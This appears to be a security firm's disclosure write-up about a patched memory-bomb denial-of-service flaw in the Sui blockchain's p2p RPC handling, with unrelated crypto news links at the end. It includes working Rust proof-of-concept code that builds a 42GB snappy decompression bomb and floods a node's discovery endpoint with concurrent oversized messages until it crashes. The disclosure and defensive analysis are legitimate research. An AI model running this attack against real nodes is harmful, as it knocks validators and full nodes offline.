Beosin硬核安全研究 :內存炸彈漏洞導致Sui節點崩潰?
作者:Beosin安全研究專家Poet
目前該漏洞已被官方修復。Sui mainnet_v1.6.3(2023年8月1號)已經修復了此漏洞。
前言
此前Beosin安全團隊發現了多個公鏈相關的漏洞,其中有一個漏洞比較有意思,我們與Sui團隊溝通後,徵得同意可以將其詳細信息公开。 這是Sui公鏈p2p協議中的一個拒絕服務漏洞,該漏洞可導致Sui網絡中的節點因內存耗盡而崩潰。這個拒絕服務漏洞是由一個古老的攻擊方式引起的————“內存炸彈”。
本文通過對該漏洞的介紹,希望大家對“內存炸彈”攻擊和其防御手段有更多的認識和理解。Beosin作為區塊鏈安全行業的領先者,我們持續關注公鏈平臺的安全性。
什么是內存炸彈?
最早的內存炸彈是zip炸彈,也叫死亡zip, 是一種惡意的計算機文件,會使讀取它的程序崩潰或失效。zip炸彈不會劫持程序的操作,而是一個消耗過多時間、磁盤空間或內存來解壓縮的壓縮包。
zip 炸彈的一個例子是文件42.zip,它是一個由42KB壓縮數據組成的zip文件,包含16組的五層嵌套zip文件,每個底層存檔包含一個4.3GB字節(4 294 967295 字節;4 GiB − 1 B)的文件,總計 4.5 PB(4503 599626321 920 字節;4 PiB − 1 MiB) 的未壓縮數據。
zip炸彈的基本原理是,我們生成一個非常大的內容全是0(或者其他值)的文件,然後壓縮成zip文件,由於相同內容的文件的壓縮比非常大,此時生成的zip文件非常小。被攻擊目標在解壓zip文件之後,需要消耗非常多的內存來存儲被解壓之後的文件,內存會被快速耗盡,目標因為OOM而崩潰。
我們在Windows上做一個簡單的實驗:
利用如下命令生成一個內容全是0的,大小為1GB的文件:
fsutil file createnew test.txt 1073741824
利用7zip命令,將文件壓縮為zip格式:
7z a test.zip test.txt
壓縮後的文件大小為:1.20MB
由此我們可以知道,對於全部是0的文件,zip壓縮比接近851:1
其實,任何格式的壓縮包都有可能成為內存炸彈,不僅僅是zip壓縮包。
我們繼續這個實驗,在Windows上用7zip將1GB的內容全是0的大文件,壓縮為不同的格式。這樣我們得出下面的壓縮比列表:
事實上,不同的文件格式支持不同的壓縮算法,比如zip文件支持Deflate、Deflate64、BZIP2、LZMA、PPMd等,不同壓縮算法的壓縮比是不一樣的。上面的表格是基於7zip默認壓縮算法的測試結果。
內存炸彈一般防御方法
我們可以通過限制解壓後的文件大小來防御“內存炸彈”攻擊。以下的方法可以限制解壓後的文件大小:
1 解壓後的數據大小放入壓縮包裏面。在壓縮文件的某個位置讀取這個值,然後判斷其大小是否符合要求。
2 第一個方法無法完全解決這個問題,因為解壓後的文件大小可以被僞造。所以我們可以傳遞一個固定大小的Buffer,解壓過程中,如果數據大小超出Buffer的邊界,那么就停止解壓,返回失敗信息。
3 還有一個辦法是流式解壓。一邊傳入小部分壓縮數據,一邊解壓這個數據,同時累加解壓後的數據大小,如果在某一個時刻,解壓後的數據大小超過閾值,就停止解壓,返回失敗信息。
歷史上的“內存炸彈”漏洞
1 CVE-2023-3782
這是一個OKHttp庫的漏洞。OKHttp支持Brotli壓縮算法,如果HTTP響應指定了Brotli壓縮算法,由於OKHttp沒有做“內存炸彈”攻擊的防御,客戶端會因為內存耗盡而崩潰。
我們可以看到,漏洞補丁限制了壓縮系數。
2 CVE-2022-36114
這是Rust包管理器Cargo的一個漏洞。Cargo從代碼源下載包的時候,沒有做“內存炸彈”防御,導致解壓之後的文件佔用的磁盤空間非常大。
我們可以看到,漏洞補丁限制解壓後的文件大小最大為512MB。
3 CVE-2022-32206
這是知名網絡下載工具curl的一個漏洞。curl < 7.84.0 支持“鏈式”HTTP 壓縮算法,這意味着服務器響應可以多次壓縮,並且可能使用不同的算法。這個“解壓鏈”中可接受的“鏈接”數量是無限的,允許惡意服務器插入幾乎無限數量的壓縮步驟。使用這樣的解壓鏈可能會導致“內存炸彈”,使得curl最終花費大量的內存,因內存不足發生錯誤。
Sui漏洞描述
1 在Sui的p2p協議中,為了減少帶寬壓力,有部分RPC消息是用snappy算法壓縮的。
2 每個Sui節點(不管是validator還是fullnode)在p2p網絡中都提供節點發現("/sui.Discovery/GetKnownPeers")和數據同步("/sui.StateSync/PushCheckpointSummary")RPC服務。節點發現和數據同步的RPC消息,實際上是使用snappy壓縮過的數據。在處理RPC消息的過程中,節點先將數據全部解壓到內存,再用bcs算法反序列化,然後釋放解壓數據和原始數據。處理RPC數據的代碼在"crates/mysten-network/src/codec.rs"文件裏:
impl
type Item = U;
type Error = bcs::Error;
fn decode(&mut self, buf: bytes::Bytes) -> Result
let compressed_size = buf.len();
let mut snappy_decoder = snap::read::FrameDecoder::new(buf.reader());
let mut bytes = Vec::with_capacity(compressed_size);
//Decompress
snappy_decoder.read_to_end(&mut bytes)?;
//Deserialize
bcs::from_bytes(bytes.as_slice())
}
}
3 RPC消息的最大size為2G。這個限制硬編碼在"crates/sui-node/src/lib.rs"文件裏面:
let mut anemo_config = config.p2p_config.anemo_config.clone().unwrap_or_default(); // Set the max_frame_size to be 2 GB to work around the issue of there being too many // staking events in the epoch change txn. anemo_config.max_frame_size = Some(2 << 30); // size of 2G !!!!!
4 我們可以創建一個1.97G的snappy壓縮文件,解壓之後變為42G,且文件內容全部為0。
5 選擇"/sui.Discovery/GetKnownPeers"這個p2p RPC作為被攻擊的接口,向其發送大小為1.97G的RPC消息。那么節點需要至少42+1.97=43.97G的內存來解壓這個消息。
6 如果Sui節點(不管是validator還是fullnode)可用內存超過43.97G,那么我們可以同時發送n個RPC消息,這樣在某個時間點,sui節點需要m(m一般小於n)個43.97G內存空間才能處理我們的攻擊payload。
如果內存不足,sui節點就會崩潰。
以下是我們的測試結果
我們可以看到,節點因為“Out of memory”而被系統“殺死”。
PoC
1 創建基於snappy算法的“內存炸彈”
//generate the "memory bomb" //48.2M -> 1G //96.4M -> 2G //385M -> 8G //1.97G -> 42G // //set "how_many_gb" to set the decompressed size of "bomb" let buf = [0; 1024]; let file = File::create(r"C:\Users\xxx\Desktop\42g").unwrap(); let mut encoder = snap::write::FrameEncoder::new(&file); let how_many_gb = 42; for _i in 0..1024 * 1024 * how_many_gb { let _ = encoder.write_all(&buf).unwrap(); } return;
2 攻擊節點
pub fn build_network(f: impl FnOnce(anemo::Router) -> anemo::Router, chain_id : &str) -> anemo::Network {
let router = f(anemo::Router::new());
let mut config = Config::default();
config.max_frame_size = Some(2 << 30);
// config.max_frame_size = Some(usize::MAX);
config.outbound_request_timeout_ms = Some(100 * 1000);
let network = anemo::Network::bind("0.0.0.0:0")
.private_key(random_key())
.server_name(chain_id)
.alternate_server_name("sui")
.config(config)
.start(router)
.unwrap();
println!(
"starting network {} {}",
network.local_addr(),
network.peer_id(),
);
network
}
async fn attack_type_0(address: Address, buf: Bytes, chain_id : &str) ->Result<(),Error> {
let network = build_network(|a| {a},chain_id);
let (mut rec, _a) = network.subscribe()?;
tokio::spawn(async move { handle_event(&mut rec).await });
let peerid = network.connect(address).await?;
let mut request = Request::new(buf);
*request.route_mut() = "/sui.Discovery/GetKnownPeers".into();
// *request.route_mut() = "/sui.StateSync/PushCheckpointSummary".into();
let response = network.rpc(peerid, request).await?;
println!("{:?}", response);
loop {
sleep(Duration::from_millis(2000)).await;
}
}
#[tokio::main(flavor = "multi_thread", worker_threads = 200)]
async fn main() {
//read the "bomb" file.
let mut in_file = File::open(r"C:\Users\xxx\Desktop\512m.txt").unwrap();
let mut buf: Vec
let _size = in_file.read_to_end(&mut buf).unwrap();
let bs = Bytes::from(buf);
//you can change "concurrent_attack" to a appropriate number!!!
let concurrent_attack = 20;
let target_ip = "192.168.153.129";
let target_port = 35561;
//you can get your private network's chain_id from the sui-node's stdout.
let chain_id = "sui-76e065b8";
for _i in 0..concurrent_attack {
let bs = bs.clone();
tokio::spawn(async move {
let respone = attack_type_0(Address::from((target_ip, target_port)),bs.clone(),chain_id).await;
println!("error : {:?}", respone);
});
}
loop {
sleep(Duration::from_millis(2000)).await;
}
}
補丁代碼分析
我們可以看到補丁代碼利用了流式解壓,並限制了解壓後的最大大小為1G。同時將RPC消息的大小限制從2G降低為1G。
漏洞影響
這個漏洞可以導致單個節點崩潰(validator和fullnode)。 漏洞利用非常簡單,只需要啓動多個线程向節點發送payload,就可導致節點崩潰,不需要消耗gas費用。Sui mainnet_v1.6.3(不包含)以前的版本都受此漏洞的影響。
漏洞修復
Sui mainnet_v1.6.3(2023年8月1號)已經修復了此漏洞。Beosin也將持續關注各大公鏈上的漏洞,為整個Web3生態護航。
鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播信息之目的,不構成任何投資建議,如有侵權行為,請第一時間聯絡我們修改或刪除,多謝。
USDT大到倒不了?華爾街債券交易巨頭Cantor取得Tether5%股權
據 華爾街日報今日 披露 ,華爾街債券交易巨頭 Cantor Fitzgerald 在 2023...
空投周報 | Magic Eden代幣將於12月10日TEG;Side Protocol空投將於11月26日开放申領(11.18-11.24)
@OdailyChina @web3_golem Odaily星球日報盤點了 11 月 18 日至...
富爸爸喊比特幣1300萬美元!力挺Michael Saylor預測:微策略是對的
受 惠於比特幣不斷屢創新高,上市公司比特幣持倉量霸主微策略(MicroStrategy)股價今年大...
Arthur Hayes:比特幣2025年底將25萬鎂!狗狗幣上看1美元
B itMEX 創辦人 Arthur Hayes 在近日 參與 Alpha First Podca...
避險需求暴增!黃金單周漲6%重返2712美元,會如何影響比特幣行情?
自 川普勝選以來,美元強勁升值,在選前不斷走高的金價反而開始疲軟,在 11 月中更跌至 2 個月新...
Beosin
文章數量
65粉絲數
0